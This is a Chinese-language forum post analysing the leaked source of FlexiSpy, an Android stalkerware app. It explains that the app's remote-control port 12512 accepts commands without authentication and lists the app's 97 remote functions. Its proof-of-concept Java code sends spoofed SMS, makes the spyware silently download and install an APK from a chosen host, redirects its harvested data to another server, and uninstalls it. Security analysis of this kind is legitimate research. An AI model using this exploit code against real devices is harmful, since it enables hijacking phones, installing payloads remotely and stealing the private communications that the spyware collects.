找回密码
 立即注册
  • QQ空间
  • 回复
  • 收藏

浅谈 FlexiSpy For Android 远程控制后门——源码分析与另类利用

admin| 2018-1-9 21:47 阅读 839 评论 1

这家监控公司其实是一家总部位于泰国(一说位于香港)的小公司,官网显示其主要的目标客户包括希望监控员工的老板、想要监控孩子手机的父母,还有想 要监控伴侣的夫妻,第三类客户显然是最多的。《福布斯》今年2月曾对这类监控软件进行过报道,报道指出,在2015年妇女援助组织对693名妇女的调查 中,有29%的受访者表示,他们的手机或电脑上曾被伴侣或者前任安装间谍软件或GPS定位器。


但FlexiSPY的客户可不止官网上宣传的这些。此次遭泄密的文件还显示,旗下的监控软件还出售给了土耳其、沙特阿拉伯和巴林政府。

FlexiSPY还与其他监控软件厂商存在一定的联系,FlexiSPY软件可能还被用在了另一款由Gamma公司开发的软件中,这家公司是英德监控公司。

根据泄露的文档, FlexiSPY的工作人员曾协助Gamma工作人员安装软件“Cyclops”,这款软件被用在Gamma自己的监控程序FinSpy上。


详情请见:http://www.freebuf.com/news/133037.html


漏洞说明


FlexiSpy安卓版在目标手机安装成功后会主动监听12512端口,该端口是客户端与服务端的通信端口,由于缺少有效的身份认证机制攻击者可通过该端口,远程发送控制指令。


漏洞详情


FlexiSPY启动时调用

public void startAppEngine(Context arg3) {  
    Intent v0 = new Intent(arg3, CoreService.class);
    v0.setAction("wfs.service.action.start_engine");
    arg3.startService(v0);
}

启动CoreService后, CoreService会调用startEngine()

public void startEngine() throws AppEngineException {  
    ......
    this.mTcpSocketCmdServer = new TcpSocketCmdServer("AppEngine", "com.vvt.rmtctrl.server", 12512, ((TcpSocketCmdProcessor)v1));
    this.mTcpSocketCmdServer.setName("RemoteControlCmdServerThread");
    this.mTcpSocketCmdServer.start();

之后FlexiSPY会开始监听12512端口。

TcpSocketCmdServer等待TcpSocketCmd(Client) 连接并调用readObject()获取TcpSocketCmd,作为Command ,调用TcpSocketCmdProcessor.processCommand(Command) 流程如下:

Client

tcpsocketcmd.execute() => connect to socket server => writeobject(this) => readobject(response)  

Server

tcpsocketcmdserver => accept => readobject(tcpsocketcmd) => TcpSocketCmdProcessor.processCommand(tcpsocketcmd) => writeobject(response)  

该Server(com.vvt.rmtctrl.server)的Processor为RemoteControlHandler。

该Processor支持的指令如下:


     RemoteFunction.IS_PRODUCT_ACTIVATED = 1;

     RemoteFunction.GET_LICENSE_STATUS = 2;

     RemoteFunction.ACTIVATE_PRODUCT = 3;

     RemoteFunction.DEACTIVATE_PRODUCT = 4;

     RemoteFunction.SET_EVENT_MAX_NUMBER = 5;

     RemoteFunction.SET_EVENT_TIMER = 6;

     RemoteFunction.ENABLE_EVENT_DELIVERY = 7;

     RemoteFunction.SET_DELIVERY_METHOD = 8;

     RemoteFunction.ENABLE_EVENT_CAPTURE = 9;

     RemoteFunction.ENABLE_CAPTURE_CALL = 10;

     RemoteFunction.ENABLE_CAPTURE_SMS = 11;

     RemoteFunction.ENABLE_CAPTURE_EMAIL = 12;

     RemoteFunction.ENABLE_CAPTURE_GPS = 13;

     RemoteFunction.SET_GPS_TIME_INTERVAL = 14;

     RemoteFunction.ENABLE_CAPTURE_MMS = 15;

     RemoteFunction.ENABLE_CAPTURE_IM = 16;

     RemoteFunction.ENABLE_CAPTURE_IMAGE = 17;

     RemoteFunction.ENABLE_CAPTURE_AUDIO = 18;

     RemoteFunction.ENABLE_CAPTURE_VIDEO = 19;

     RemoteFunction.ENABLE_CAPTURE_WALLPAPER = 20;

     RemoteFunction.ENABLE_CAPTURE_APP = 21;

     RemoteFunction.ENABLE_CAPTURE_URL = 22;

     RemoteFunction.ENABLE_CAPTURE_CALL_RECORD = 23;

     RemoteFunction.ENABLE_CAPTURE_CALENDAR = 24;

     RemoteFunction.ENABLE_CAPTURE_PASSWORD = 25;

     RemoteFunction.SET_IM_ATTACHMENT_LIMIT_SIZE = 26;

     RemoteFunction.ENABLE_CAPTURE_VOIP = 27;

     RemoteFunction.ENABLE_CAPTURE_CONTACT = 28;

     RemoteFunction.ENABLE_VOIP_CALL_RECORDING = 29;

     RemoteFunction.ENABLE_CALL_RECORDING = 30;

     RemoteFunction.ENABLE_SPY_CALL = 31;

     RemoteFunction.ENABLE_WATCH_NOTIFICATION = 32;

     RemoteFunction.SET_WATCH_FLAG = 33;

     RemoteFunction.SET_MODE_ADDRESS_BOOK = 34;

     RemoteFunction.SEND_ADDRESS_BOOK = 35;

     RemoteFunction.SET_PANIC_MODE = 36;

     RemoteFunction.ENABLE_COMMUNICATION_RESTRICTION = 37;

     RemoteFunction.ENABLE_ALERT = 38;

     RemoteFunction.ENABLE_APP_PROFILE = 39;

     RemoteFunction.ENABLE_URL_PROFILE = 40;

     RemoteFunction.MANAGE_COMMON_DATA = 41;

     RemoteFunction.GET_CONFIGURATION = 42;

     RemoteFunction.GET_SETTINGS = 43;

     RemoteFunction.GET_DIAGNOSTICS = 44;

     RemoteFunction.GET_EVENT_COUNT = 45;

     RemoteFunction.GET_GPS_ON_DEMAND = 46;

     RemoteFunction.GET_CONNECTION_HISTORY = 47;

     RemoteFunction.SEND_HEARTBEAT = 48;

     RemoteFunction.SEND_CURRENT_URL = 49;

     RemoteFunction.SEND_MOBILE_NUMBER = 50;

     RemoteFunction.SEND_SETTINGS_EVENT = 51;

     RemoteFunction.SEND_EVENTS = 52;

     RemoteFunction.SEND_BOOKMARKS = 53;

     RemoteFunction.REQUEST_CONFIGURATION = 54;

     RemoteFunction.DEBUG_SWITCH_CONTAINER = 55;

     RemoteFunction.DEBUG_SET_APPLICATION_MODE = 56;

     RemoteFunction.DEBUG_GET_APPLICATION_MODE = 57;

     RemoteFunction.DEBUG_HIDE_APP = 58;

     RemoteFunction.DEBUG_UNHIDE_APP = 59;

     RemoteFunction.DEBUG_CLOSE_APP = 60;

     RemoteFunction.DEBUG_GET_VERSION_CODE = 61;

     RemoteFunction.DEBUG_SEND_TEST_SMS = 62;

     RemoteFunction.DEBUG_RESTART_DEVICE = 63;

     RemoteFunction.SET_SUPERUSER_VISIBILITY = 64;

     RemoteFunction.SET_LOCK_PHONE_SCREEN = 65;

     RemoteFunction.REQUEST_DEVICE_SETTINGS = 66;

     RemoteFunction.SET_UPDATE_AVAILABLE_SILENT_MODE = 67;

     RemoteFunction.DELETE_DATABASE = 68;

     RemoteFunction.DEBUG_IS_DAEMON = 69;

     RemoteFunction.DEBUG_IS_FULL_MODE = 70;

     RemoteFunction.DEBUG_GET_CONFIG_ID = 71;

     RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID = 72;

     RemoteFunction.DEBUG_IS_CALLRECORDING_SUPPORTED = 73;

     RemoteFunction.DEBUG_PRODUCT_VERSION = 74;

     RemoteFunction.REQUEST_BATTERY_INFO = 75;

     RemoteFunction.REQUEST_MEDIA_HISTORICAL = 76;

     RemoteFunction.UPLOAD_ACTUAL_MEDIA = 77;

     RemoteFunction.DELETE_ACTUAL_MEDIA = 78;

     RemoteFunction.UNINSTALL_PRODUCT = 79;

     RemoteFunction.SEND_INSTALLED_APPLICATIONS = 80;

     RemoteFunction.SPOOF_SMS = 81;

     RemoteFunction.REQUEST_CALENDER = 82;

     RemoteFunction.ON_DEMAND_IMAGE_CAPTURE = 83;

     RemoteFunction.ON_DEMAND_AMBIENT_RECORD = 84;

     RemoteFunction.SET_CALL_RECORDING_WATCH_FLAG = 85;

     RemoteFunction.RESTART_DEVICE = 86;

     RemoteFunction.ADD_URL = 87;

     RemoteFunction.RESET_URL = 88;

     RemoteFunction.CLEAR_URL = 89;

     RemoteFunction.QUERY_URL = 90;

     RemoteFunction.SET_CALL_RECORDING_AUDIO_SOURCE = 91;

     RemoteFunction.REQUEST_HISTORICAL_EVENTS = 92;

     RemoteFunction.REQUEST_TEMPORAL_APPLICATION_CONTROL = 93;

     RemoteFunction.SYNC_TEMPORAL_APPLICATION_CONTROL = 94;

     RemoteFunction.ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT = 95;

     RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE = 96;

     RemoteFunction.DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING = 97;


漏洞证明


通过构造TcpSocketCmd并发送给TcpSocketCmdServer可远程调用该Processor支持的指令。

1.发送短信

RmtCtrlInputSpoofSms rmtCtrlInputSpoofSms = new RmtCtrlInputSpoofSms();  
rmtCtrlInputSpoofSms.setDestinationNumber("10086");  
rmtCtrlInputSpoofSms.setSmsMessage("test");  
controlCommand = new ControlCommand(RemoteFunction.SPOOF_SMS, rmtCtrlInputSpoofSms);  
new RemoteOnCommandReceive(controlCommand).execute();



2.更新FlexiSPY二进制文件


RmtCtrlInputDownloadBinaryAndUpdateSilentMode rmtCtrlInputDownloadBinaryAndUpdateSilentMode = new RmtCtrlInputDownloadBinaryAndUpdateSilentMode();  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setVersionNumber("250");  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setChecksum("387976742"); //update.apk crc32  
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setUrl("http://192.168.1.100/update.apk");  
controlCommand = new ControlCommand(RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE, rmtCtrlInputDownloadBinaryAndUpdateSilentMode);  
new RemoteOnCommandReceive(controlCommand).execute();  

3.更新服务端URL


List urls = new ArrayList<>();  
urls.add("http://192.168.1.100:8080");  
controlCommand = new ControlCommand(RemoteFunction.ADD_URL, urls);  
new RemoteOnCommandReceive(controlCommand).execute();  

更新服务端URL之后,可将FlexiSPY发送给服务端的数据转到指定的服务器上。



4.卸载FlexiSPY

controlCommand = new ControlCommand(RemoteFunction.UNINSTALL_PRODUCT, null);  
new RemoteOnCommandReceive(controlCommand).execute();  
  • admin 2018-1-9 23:18
    这家监控公司其实是一家总部位于泰国(一说位于香港)的小公司...
文章点评